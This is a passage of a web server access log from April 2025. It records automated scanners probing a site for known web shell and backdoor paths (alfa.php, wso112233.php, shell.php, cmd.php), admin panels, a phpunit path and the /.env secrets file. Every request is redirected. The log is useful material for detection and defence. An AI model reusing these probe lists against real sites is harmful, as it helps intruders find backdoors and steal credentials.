[12/Apr/2025:12:16:23 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:24 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:24 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:25 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:25 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:26 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:27 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:27 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:28 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:29 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:29 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:30 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 46.246.8.4 - - [12/Apr/2025:12:57:56 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 182.44.8.254 - - [12/Apr/2025:14:06:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.234.248.66 - - [12/Apr/2025:14:08:28 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:08:28 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:08:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:08:28 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:08:28 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:08:29 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:09:16 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:09:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:09:16 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:09:17 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:09:17 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.234.248.66 - - [12/Apr/2025:14:09:17 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 149.22.80.120 - - [12/Apr/2025:14:19:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:19:56 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:19:59 -0400] "GET /administrator/help/en-GB/toc.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:02 -0400] "GET /administrator/language/en-GB/install.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:06 -0400] "GET /plugins/system/debug/debug.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:12 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:16 -0400] "GET /misc/ajax.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:23 -0400] "GET /admin/view/javascript/common.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:26 -0400] "GET /admin/includes/general.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:29 -0400] "GET /images/editor/separator.gif HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:32 -0400] "GET /js/header-rollup-554.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:38 -0400] "GET /vendor/phpunit/phpunit/build.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 149.22.80.120 - - [12/Apr/2025:14:20:43 -0400] "GET /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:47 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 149.22.80.120 - - [12/Apr/2025:14:20:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 52.179.11.239 - - [12/Apr/2025:14:31:42 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:42 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:43 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:43 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:44 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:44 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:45 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:45 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:45 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:46 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:46 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:47 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:47 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:48 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:48 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:48 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:49 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:50 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:50 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:50 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:50 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:51 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:52 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:52 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:52 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:53 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:54 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:54 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:55 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:56 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:56 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:57 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:58 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:58 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:31:59 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:00 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:00 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:02 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:03 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:06 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:07 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:09 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:10 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:11 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:12 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:13 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:15 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:18 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:21 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:25 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:27 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:27 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:28 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:29 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:29 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:30 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:31 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:31 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:32 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:32 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:33 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:34 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:35 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:36 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:36 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:36 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:37 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:37 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:38 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:38 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:38 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:39 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:39 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:40 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:40 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:41 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:41 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:42 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:42 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:43 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:44 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:46 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:47 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:48 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:51 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:52 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:53 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:54 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:55 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:56 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:56 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:58 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:58 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:32:59 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:00 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:00 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:01 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:02 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:03 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:04 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:04 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:05 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:06 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:06 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:07 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:07 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:08 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:08 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:09 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:10 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:12 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:12 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:13 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:14 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:15 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:15 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:16 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:16 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:17 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:19 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:20 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:21 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:22 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:23 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:23 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:23 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:24 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:24 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:25 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:26 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:27 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:27 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:28 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:28 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:29 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:29 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:29 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:30 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:30 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:30 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:30 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:31 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:31 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:31 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:31 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:32 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:32 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 